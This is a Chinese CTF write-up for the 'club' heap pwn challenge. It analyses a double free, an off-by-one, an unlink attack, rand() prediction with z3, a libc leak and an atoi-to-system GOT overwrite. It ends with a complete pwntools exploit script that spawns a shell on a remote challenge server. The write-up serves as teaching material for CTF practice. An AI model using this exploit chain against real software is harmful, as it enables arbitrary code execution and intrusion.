这是一道典型的CTF pwn菜单题,先用pwn checksec看一眼有什么保护
这里主要会妨碍到我们的是开启了PIE,但是RELRO是partial,所以.got.plt 可写
下面看一眼程序的主要流程
可以看出主要有以下几个功能,除了guess random number 以外都和box有关
开IDA
这里我们注意到srand seed了seed这个指针的地址
get_box
其中read_int会读入我们的输入然后执行atoi
这里可以看出我们有一个box是否被创建过的检查 is_box_created,估计是防止UAF用到的,不过这个检查写的有问题,之后我们再看
get_box主要会让你选择哪个box,然后malloc多大的一个box,这里有一个限制,就是每个box的大小是从小到大排列的,其中最小不能小于 8 + 16, 最大不能大于 0x1000-16,这个限制存储在0x202090
可以看到8 和 0x1000 之间有5个0,存储我们每个box的大小
destroy_box
除了index的检查,还有两个检查,一个是和get_box中一样的is_box_created,还有一个是一个global的数组,表示该box能不能被destroy,查看该数组可得知只有box 2,3可以被free。同时这里出现了一个bug,那就是is_box_created这个flag在box被free后没有被清0,这代表我们不能重新在这个index malloc一个box,但我们可以free这个box两次,造成double free
leave_message
这里还有一个bug,read的时候因为用的是 i <= box_sizes[v3],所以会出现一个off-by-one的bug,虽然这个bug也可以用,但是double free用起来更简单一些……这个bug的用法主要可以shrink chunk以后构造overlapping chunk然后这样就可控制其中一个的chunk 头。或者也可以用house of einherjar来构造overlapping chunk,原理差不多,再次不做过多叙述
由于之前is_box_created在destroy时没有被清0,造成我们可以做出UAF,覆盖被free的chunk的FD 和 BK,从而使用unlink达成任意读写(和看雪年中CTF中的那道double free题 (第四题) 的其中一个非预期解很像),unlink的手法可参照以下链接
https://bbs.pediy.com/thread-218395.htm
show_message
同样是is_box_created的bug,我们可以leak出已经free过的chunk的fd和bk,如果该chunk是unsorted bin或者small bin,我们就可以得到main_arena的地址,继而得到libc的基地址
guess
把钱344个结果舍弃掉以后就是我们用rand()所得出的结果
我们用z3求解来预测之后的rand值,参考http://inaz2.hatenablog.com/entry/2016/03/07/194000,这里用了93个回合,因为内部的state是31,93可以保证已经轮回过3次,从而得到更准确的结果(理论上来说只要两次以上就行……不过我没试)
exit
看上去好像没什么毛病……
至此,改题的解题思路已经很明显了,我们需要做以下几件事情
1. guess拿到93个数字以后猜下一个随机数,得到code段的基地址 (伪造unlink的chunk时需要一个指向将要被free的chunk的指针)
2. 分配一个smallbin大小的box到2,然后删除掉以后leak libc的基地址
4. leave_message 到当前被覆盖的box[i],覆盖前面那个box[j]所指向的地址,变更为某个.got.plt地址(这里我选取了atoi,因为之后可以任意输入第一个参数)
5. 更改box[j]所指向的地址到system,既复写了atoi的.got.plt将其改为system
6. 拿shell
P.S. 这里出现了一点小插曲……本地测试的时候shell拿的好好的,但是远程怎么都拿不到,于是将box[j]地址指向atoi之后用show_message leak出了当前atoi的地址……发现和用libc偏移计算的地址并不一样……于是又leak了几个附近的地址……发现atoi的地址在当前设定的.got.plt的偏移的后面一个,至此成功拿到shell……但是百思不得其解为什么要这样做……于是拿到shell以后检查了一下远程上的二进制文件……发现md5sum tm不一样啊!!!!!,下下来以后发现果然是有区别的……问了netwind也不知道为什么会有两个不同的二进制文件……在这上面上耽误了很长时间……
之后查了一下权限发现club文件所有人都有写的权限???什么鬼……不过原因大概就出在这里……之后和netwind协商后让他更新了发布的程序包……
不过区别仅限于服务器上跑的版本加了个alarm所以atoi的got被往后移了8……如果复写free的.got.plt的话就没这个问题。
python z3 solverand.py
from z3 import *
def solver(inp):
assert(len(inp) >= 93)
inp = inp[-93:]
state = [BitVec("state%d" % i, 32) for i in xrange(31)]
s = Solver()
for i in xrange(93):
state[(3+i) % 31] += state[i % 31]
output = (state[(3+i) % 31] >> 1) & 0x7fffffff
actual = inp[i]
s.add(output == actual)
s.check()
if s.check() != z3.sat:
print "unsat :("
return 0
m = s.model()
return m.eval(((state[(3+93) % 31] + state[93 % 31]) >> 1) & 0x7fffffff).as_long()
实际exp
from pwn import *
from solverand import solver
MENU = "> "
MAIN_ARENA = 0x2aaaab097b78 - 0x2aaaaacd3000
SYSTEM = 0x45390
aslr = True
is_remote = True
def get(num, size):
assert(get_helper(num, size))
def destroy(num):
assert(destroy_helper(num))
def leavem(num, m):
assert(leavem_helper(num, m))
def get_helper(num, size):
r.recvuntil(MENU)
r.sendline('1')
r.recvuntil(MENU)
if num <= 0 or num > 5:
return 0
r.sendline(str(num))
res = r.recvregex(r'box!|> ')
if "box!" in res:
return 0
r.sendline(str(size))
res = r.recvregex(r'invalid!|box!')
if "invalid!" in res:
return 0
return 1
def destroy_helper(num):
r.recvuntil(MENU)
r.sendline('2')
r.recvuntil(MENU)
if num <= 0 or num > 5:
return 0
r.sendline(str(num))
res = r.recvregex(r'(can not|have).+!')
if "can not" in res:
return 0
return 1
def leavem(num, message):
r.recvuntil(MENU)
r.sendline('3')
r.recvuntil(MENU)
if num <= 0 or num > 5:
return 0
r.sendline(str(num))
log.info("send number")
sleep(1)
# can't check for leaving message
log.info("send message")
r.sendline(message)
return 1
def showm(num):
r.recvuntil(MENU)
r.sendline('4')
r.recvuntil(MENU)
if num <= 0 or num > 5:
return "can't show"
r.sendline(str(num))
# can't check for leaving message
res = r.recvuntil('You have')[:-9]
return res
def guess(num):
r.recvuntil(MENU)
r.sendline('5')
r.recvuntil(MENU)
r.sendline(str(num))
prompt = r.recvregex('(secret:|is) [0-9]?')
res = r.recvline()
num = re.findall('([0-9]+)!', res)[0]
if "secret" in prompt:
return (1, int(num))
else:
return (0, int(num))
def exit(name):
r.recvuntil(MENU)
r.sendline('6')
r.recvuntil(MENU)
r.sendline(name)
def get_code():
output = []
for i in range(93):
log.info("geting %d" % i)
output.append(guess(0)[1])
res = (0, 0)
while not res[0]:
log.info("predicting...")
result = solver(output)
log.info("predicted: %d" % result)
res = guess(result)
output.append(res[1])
return res[1]
if is_remote:
r = remote('123.206.22.95', 8888)
else:
env = {'LD_PRELOAD':'./libc.so.6'}
r = process('./club', env=env, aslr=aslr)
code_base = get_code() - 0x202148
log.info("code base at 0x%x" % code_base)
addr_ptr = code_base + 0x202100 + 8 * 5
log.info("3rd box at 0x%x" % addr_ptr)
atoi = code_base + 0x202068
strcpy = code_base + 0x202020
get(2, 0x100)
get(3, 0x110)
get(4, 0x120)
destroy(2)
addr = showm(2)
addr = u64(addr + (8 - len(addr)) * "\x00")
log.info("main_arena at 0x%x" % addr)
diff = addr - MAIN_ARENA
log.info("libc base at 0x%x" % diff)
system = diff + SYSTEM
log.info("system at 0x%x" % system)
destroy(3)
get(5, 0x220)
leavem(5, p64(0x0) + p64(0x101) + p64(addr_ptr-0x18) + p64(addr_ptr-0x10) + "A" * (0x100-0x20) + p64(0x100) + p64(0x120))
destroy(3)
if is_remote:
atoi += 8
leavem(5, p64(atoi))
leavem(2, p64(system))
#gdb.attach(r)
r.sendline('/bin/sh')
log.info('enjoy your shell :)')
r.interactive()
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法